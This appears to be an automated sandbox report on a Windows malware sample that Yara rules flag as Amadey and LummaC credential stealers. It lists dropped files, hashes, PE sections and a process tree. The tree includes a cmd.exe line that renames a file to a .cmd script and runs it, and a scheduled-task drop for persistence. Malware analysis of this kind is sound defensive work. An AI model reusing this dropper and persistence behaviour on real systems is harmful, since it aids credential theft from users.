SSDEEP:	1536:ECX4aVmoJiKwtk2ukC5HRu+OoQjz7nts/M26N7oKzYkBvRmLOy:fXnmowS2u5hVOoQ7t8T6pUkBJRy
MD5:	9E4FE1F2538C08F75AE16A3E349C9EF2
SHA1:	559879228568B2F405400B34DFB19E59F139FA2C
SHA-256:	22CE756672ACA3A4BA015903B4C36E7667E15C73157759E5A2212E7D4E727CC0
SHA-512:	A1F6BF183C590CC62000DDDB0FEA63BAE2BDC30FCE8EBFA24286B9FB8B2415C67B2363F739D36B32CC7B477E608397EFBE45173173AA3F27ED44E9B75448B9EC
Malicious:	false
Preview:	.{..C..C..C..C..C...u..u......{(......C8.....x............E.3.P.C(.u.Pj.V.C.P..X.I...x..u........9s........C..@.......}.........j.....I.h.pL.W...{.....I.....tn.........xj.e...E.PhT.J..C.P...xC.M...t<...U.R.S(Rj.Q.P...x..}..t..u....]....{..u..C..@...E.P...Q....C........C./...V....I....C.T..._^..[....V..N...(pL...t...Q.P....F....N...t...Q.P.j<V...YY..^...U..E...8P..D.I.]...U..E..H...t..u....u..u..u..u.Q.P.....@..]...U..S..M.j..S.."...Y..x4.}...C(u.VW.d.J......._^..P.u...\.I...y..C......C.........C.[]...U..E..H...t..u....u..u.Q.P.....@..]...U..E..H...t..u...Q.P.....@..]...U..VW.}...........F.Phd.J.W....W.P._^]...U..E..H...t .u(...u$.u .u..u..u..u..u.Q.P.....@..].$.U.............V..h....P.v.....I...tkW.~.Wj.......P..4.I...xHj.......P.7..0.I...x..F......%j.......P.7..,.I...x..F........F......F....J....F._....@...F.^..U..E..H...t..u....u.Q......@..]...U..V.u..F8P..@.I...u...t.Q......3.^]...U..QV..~..t_.F..M.QP...R...xN.~..u..M..q...A..q.P..A.PQ..(.I.. .~..u..M..q...A..q.P.

C:\Users\user\AppData\Local\Temp\Veterinary

Download File

Process:	C:\Users\user\AppData\Local\Temp\1019557001\SurveillanceWalls.exe
File Type:	data
Category:	dropped
Size (bytes):	2852
Entropy (8bit):	5.490446063863794
Encrypted:	false
SSDEEP:	48:I9n9mTsCNvEQH5O5U1nPKrhBzM1FoMPhfq1koCqxLVJcd2u+MAyKnFHbgk:0SEA5O5W+MfH5S1CqlVJcI6mlb/
MD5:	6F07C56590CB57E03B68F9E2F994390C
SHA1:	AEE254034B1F3394A97304C8DFBAE1911440E2C0
SHA-256:	1772CFD25C5DEB74DACC6FC88AA8793A74C89A81452B27E886CA49557BA32D84
SHA-512:	0AF18E6D07C161A5088CEC9A56654C9F661AC003F0E22B68B6DBFE2920BB344F4D9A1326C261957C2309BB44DCB39453630F33068A057A1A6C2960EDFBD39001
Malicious:	false
Preview:	Anchor........................@...............................................!..L.!This program cannot be run in DOS mode....$.........;..h..h..hX;1h..hX;3hq..hX;2h..hr..h..h...i...h...i...h...i...h..Ch..h..Sh..h..h..hI..i...hI..i..hI.?h..h.Wh..hI..i..hRich..h........PE..L......b.........."...............................@..................................k....@...@.......@.........................\|....P..h............N..X&...0..tv...........................C..........@............................................text............................... ..`.rdata..............................@..@.data....p.......H..................@....rsrc...h....P......................@..@.reloc..tv...0...x..................@..B..........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3321344
Entropy (8bit):	6.669190192316632
Encrypted:	false
SSDEEP:	49152:4H4UHZS6XhbB2fkGdMdOGyHZS8+bD9sP9:NUHtXhbB2fkGdzHeb5s
MD5:	F82416BCF25171CCFDA8E9325C3A92DC
SHA1:	9DB33361A9CB34B352A9FE17EA06A659B247BBBC
SHA-256:	3D8BD5D204EF586F2958455A4F57CD493580978C83C34759839DCDD5E4D9F120
SHA-512:	4A79426596EB08F2DFEFA5F9B635196C163055E3336915607CB350265729FC4B054E9CB2F5B76BCA236601F6493B671033ED0CA142136CCF6318918437D46087
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 55%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................2...........@...........................2.....dB3...@.................................W...k...........................0.2...............................2..................................................... . ............................@....rsrc...............................@....idata ............................@...jxvuvlsp..+.......+.................@...mchtvxnx......2.......2.............@....taggant.0....2.."....2.............@...........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Local\Temp\mozilla-temp-files\mozilla-temp-41

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ISO Media, MP4 Base Media v1 [ISO 14496-12:2003]
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.4593089050301797
Encrypted:	false
SSDEEP:	48:9SP0nUgwyZXYI65yFRX2D3GNTTfyn0Mk1iA:9SDKaIjo3UzyE1L
MD5:	D910AD167F0217587501FDCDB33CC544
SHA1:	2F57441CEFDC781011B53C1C5D29AC54835AFC1D
SHA-256:	E3699D9404A3FFC1AFF0CA8A3972DC0EF38BDAB927741E9F627C7C55CEA42E81
SHA-512:	F1871BF28FF25EE52BDB99C7A80AB715C7CAC164DCD2FD87E681168EE927FD2C5E80E03C91BB638D955A4627213BF575FF4D9EECAEDA7718C128CF2CE8F7CB3D
Malicious:	false
Preview:	... ftypisom....isomiso2avc1mp41....free....mdat..........E...H..,. .#..x264 - core 152 r2851 ba24899 - H.264/MPEG-4 AVC codec - Copyleft 2003-2017 - http://www.videolan.org/x264.html - options: cabac=1 ref=3 deblock=1:0:0 analyse=0x3:0x113 me=hex subme=7 psy=1 psy_rd=1.00:0.00 mixed_ref=1 me_range=16 chroma_me=1 trellis=1 8x8dct=1 cqm=0 deadzone=21,11 fast_pskip=1 chroma_qp_offset=-2 threads=4 lookahead_threads=1 sliced_threads=0 nr=0 decimate=1 interlaced=0 bluray_compat=0 constrained_intra=0 bframes=3 b_pyramid=2 b_adapt=1 b_bias=0 direct=1 weightb=1 open_gop=0 weightp=2 keyint=250 keyint_min=25 scenecut=40 intra_refresh=0 rc_lookahead=40 rc=crf mbtree=1 crf=23.0 qcomp=0.60 qpmin=0 qpmax=69 qpstep=4 ip_ratio=1.40 aq=1:1.00......e...+...s\|.kG3...'.u.."...,J.w.~.d\..(K....!.+..;....h....(.T.*...M......0..~L..8..B..A.y..R..,.zBP.';j.@.].w..........c......C=.'f....gI.$^.......m5V.L...{U..%V[....8......B..i..^,....:...,..5.m.%dA....moov...lmvhd...................(...........

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs-1.js

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (1743), with CRLF line terminators
Category:	dropped
Size (bytes):	9814
Entropy (8bit):	5.509477009799862
Encrypted:	false
SSDEEP:	192:nnPOeRnHYbBp60J0aX+H6SEXK5kHWNBw8d4Sl:PPeZJUapHEwX0
MD5:	E9636FFB0164DCCFF40E71161DEE28B2
SHA1:	B9DFF535D4F8EE7B85B7DEE3CEB0C8DD9A531505
SHA-256:	7A219883BE303A7DDBA80B22D3BAD3B6B926410EC748F37FCB2C3E68515C00A4
SHA-512:	8150AD985EFF51342D20CB0D491DB6F673F0CA0DBC82FE2736DC2D0C8F5985458BE5DFB31A015B5ECCC7CA6CAF54D6AB3AA388527362FB3E3BDD9C1E9697C2D6
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "9e34c6e7-cbed-40a0-ba63-35488e171013");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696426836);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696426837);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (1743), with CRLF line terminators
Category:	dropped
Size (bytes):	9814
Entropy (8bit):	5.509477009799862
Encrypted:	false
SSDEEP:	192:nnPOeRnHYbBp60J0aX+H6SEXK5kHWNBw8d4Sl:PPeZJUapHEwX0
MD5:	E9636FFB0164DCCFF40E71161DEE28B2
SHA1:	B9DFF535D4F8EE7B85B7DEE3CEB0C8DD9A531505
SHA-256:	7A219883BE303A7DDBA80B22D3BAD3B6B926410EC748F37FCB2C3E68515C00A4
SHA-512:	8150AD985EFF51342D20CB0D491DB6F673F0CA0DBC82FE2736DC2D0C8F5985458BE5DFB31A015B5ECCC7CA6CAF54D6AB3AA388527362FB3E3BDD9C1E9697C2D6
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "9e34c6e7-cbed-40a0-ba63-35488e171013");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696426836);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696426837);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\sessionCheckpoints.json (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	90
Entropy (8bit):	4.194538242412464
Encrypted:	false
SSDEEP:	3:YVXKQJAyiVLQwJtJDBA+AJ2LKZXJ3YFwHY:Y9KQOy6Lb1BA+m2L69Yr
MD5:	C4AB2EE59CA41B6D6A6EA911F35BDC00
SHA1:	5942CD6505FC8A9DABA403B082067E1CDEFDFBC4
SHA-256:	00AD9799527C3FD21F3A85012565EAE817490F3E0D417413BF9567BB5909F6A2
SHA-512:	71EA16900479E6AF161E0AAD08C8D1E9DED5868A8D848E7647272F3002E2F2013E16382B677ABE3C6F17792A26293B9E27EC78E16F00BD24BA3D21072BD1CAE2
Malicious:	false
Preview:	{"profile-after-change":true,"final-ui-startup":true,"sessionstore-windows-restored":true}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\sessionCheckpoints.json.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	90
Entropy (8bit):	4.194538242412464
Encrypted:	false
SSDEEP:	3:YVXKQJAyiVLQwJtJDBA+AJ2LKZXJ3YFwHY:Y9KQOy6Lb1BA+m2L69Yr
MD5:	C4AB2EE59CA41B6D6A6EA911F35BDC00
SHA1:	5942CD6505FC8A9DABA403B082067E1CDEFDFBC4
SHA-256:	00AD9799527C3FD21F3A85012565EAE817490F3E0D417413BF9567BB5909F6A2
SHA-512:	71EA16900479E6AF161E0AAD08C8D1E9DED5868A8D848E7647272F3002E2F2013E16382B677ABE3C6F17792A26293B9E27EC78E16F00BD24BA3D21072BD1CAE2
Malicious:	false
Preview:	{"profile-after-change":true,"final-ui-startup":true,"sessionstore-windows-restored":true}

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	290
Entropy (8bit):	3.4429304011967936
Encrypted:	false
SSDEEP:	6:V2pIZTX55ZsUEZ+lX1CGdKUe6tFXqYEp5t/uy0lDyct0:V2mZTuQ1CGAFifXVDvt0
MD5:	DD182F809EEE3AC07945D52BDB1283AF
SHA1:	EFF965DB5E9E06C5C3C6B27CA940B2986181D707
SHA-256:	36E9A64E43500B7FC1C13108C65919A2A27CAA67800DB4E92084A9A27758034E
SHA-512:	4F63EB16750221E70B9FFEF7AF1F65D539FB7987DF19D9F0287FBA00DA4DD437D35D47582E1998FEA331296CBB16069A39F7DE2C7D49CB465BC4AC9E1DC43B4D
Malicious:	false
Preview:	.....[.GJ..N..E)..@.F.......<... .....s.......... ....................9.C.:.\.U.s.e.r.s.\.a.l.f.o.n.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........A.L.F.O.N.S.-.P.C.\.a.l.f.o.n.s...................0...................@3P.........................

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.422093893698179
Encrypted:	false
SSDEEP:	6144:SSvfpi6ceLP/9skLmb0OTCWSPHaJG8nAgeMZMMhA2fX4WABlEnNA0uhiTw:hvloTCW+EZMM6DFyq03w
MD5:	EABCDE363A1E198BFBB4A97A52E6A911
SHA1:	8724DE5A3522BCF30856110313D2999D2C350FAC
SHA-256:	29B1E227AABC9433C3DF714E45452DE375EE6821984DDBFB124F89861B64BD6B
SHA-512:	F77559C2D3E37BE74AF63EF26E8F9001E9BFAFEA4E14880DCEDB22B433D736B6428419179D044BFC77190560AA998702E787BAAC87F843D1ED6EE225DDFCD968
Malicious:	false
Preview:	regf>...>....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm2....S..............................................................................................................................................................................................................................................................................................................................................HZ..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.669190192316632
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	3'321'344 bytes
MD5:	f82416bcf25171ccfda8e9325c3a92dc
SHA1:	9db33361a9cb34b352a9fe17ea06a659b247bbbc
SHA256:	3d8bd5d204ef586f2958455a4f57cd493580978c83c34759839dcdd5e4d9f120
SHA512:	4a79426596eb08f2dfefa5f9b635196c163055e3336915607cb350265729fc4b054e9cb2f5b76bca236601f6493b671033ed0ca142136ccf6318918437d46087
SSDEEP:	49152:4H4UHZS6XhbB2fkGdMdOGyHZS8+bD9sP9:NUHtXhbB2fkGdzHeb5s
TLSH:	3BF54B93A505F5DBD88A13F6ADA7CD826B9C0BB84B3048C3997C657ABD73CC211B6C14
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x72b000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F0569C [Sun Sep 22 17:40:44 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F8F4CC88FBAh
jl 00007F8F4CC88FE8h
add byte ptr [eax], al
jmp 00007F8F4CC8AFB5h
add byte ptr [edi], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edi], al
or al, byte ptr [eax]
add byte ptr [edx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], cl
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add eax, 0000000Ah
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x6a057	0x6b	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x69000	0x5d4	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x329d30	0x10	jxvuvlsp
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x329ce0	0x18	jxvuvlsp
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x68000	0x68000	529fb6f749426d86280e16cd0f35cc15	False	0.5534268892728366	data	7.068382572685461	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x69000	0x5d4	0x600	1e55db351164df1643ae87d7efa3ee0f	False	0.4303385416666667	data	5.417125179370491	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x6a000	0x1000	0x200	cc76e3822efdc911f469a3e3cc9ce9fe	False	0.1484375	data	1.0428145631430756	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
jxvuvlsp	0x6b000	0x2bf000	0x2bee00	b335dbe829d45e8a62cdf00a20b04ae4	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
mchtvxnx	0x32a000	0x1000	0x600	7ffaddfaa31a95590590c9b195d1a9e0	False	0.5787760416666666	data	5.075466134628369	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x32b000	0x3000	0x2200	a38095784b93ebb1ce320da9e678a5c5	False	0.06927849264705882	DOS executable (COM)	0.7125094163210706	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x69070	0x3e4	XML 1.0 document, ASCII text			0.48092369477911645
RT_MANIFEST	0x69454	0x17d	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5931758530183727

Imports

DLL	Import
kernel32.dll	lstrcpy

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Target ID:	0
Start time:	14:15:01
Start date:	21/12/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xeb0000
File size:	3'321'344 bytes
MD5 hash:	F82416BCF25171CCFDA8E9325C3A92DC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000002.2108752240.0000000000EB1000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	14:15:04
Start date:	21/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0x6c0000
File size:	3'321'344 bytes
MD5 hash:	F82416BCF25171CCFDA8E9325C3A92DC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000002.2139236518.00000000006C1000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security
Antivirus matches:	Detection: 55%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	14:15:04
Start date:	21/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x6c0000
File size:	3'321'344 bytes
MD5 hash:	F82416BCF25171CCFDA8E9325C3A92DC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000003.00000002.2137416563.00000000006C1000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	14:16:00
Start date:	21/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x6c0000
File size:	3'321'344 bytes
MD5 hash:	F82416BCF25171CCFDA8E9325C3A92DC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	14:16:10
Start date:	21/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe"
Imagebase:	0x360000
File size:	555'008 bytes
MD5 hash:	D6D3AB7208760962B95BE3EEB224C1AC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_LummaCStealer_4, Description: Yara detected LummaC Stealer, Source: 00000007.00000002.3125830482.00000000031A4000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	14:16:10
Start date:	21/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	14:16:11
Start date:	21/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe"
Imagebase:	0x360000
File size:	555'008 bytes
MD5 hash:	D6D3AB7208760962B95BE3EEB224C1AC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000009.00000003.2887885665.0000000000E97000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000009.00000003.2889042019.0000000000EAA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000009.00000003.2913722505.0000000000EA9000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000009.00000003.2887992510.0000000000EA9000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_LummaCStealer_4, Description: Yara detected LummaC Stealer, Source: 00000009.00000002.3137726168.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000009.00000003.2887459258.0000000000E97000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000009.00000003.2913252442.0000000000E97000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	14:16:11
Start date:	21/12/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 6496 -s 304
Imagebase:	0xdc0000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	14:16:21
Start date:	21/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1019557001\SurveillanceWalls.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1019557001\SurveillanceWalls.exe"
Imagebase:	0x400000
File size:	1'294'445 bytes
MD5 hash:	5A909C9769920208ED3D4D7279F08DE5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	14:16:21
Start date:	21/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c move Campbell Campbell.cmd & Campbell.cmd
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	14:16:21
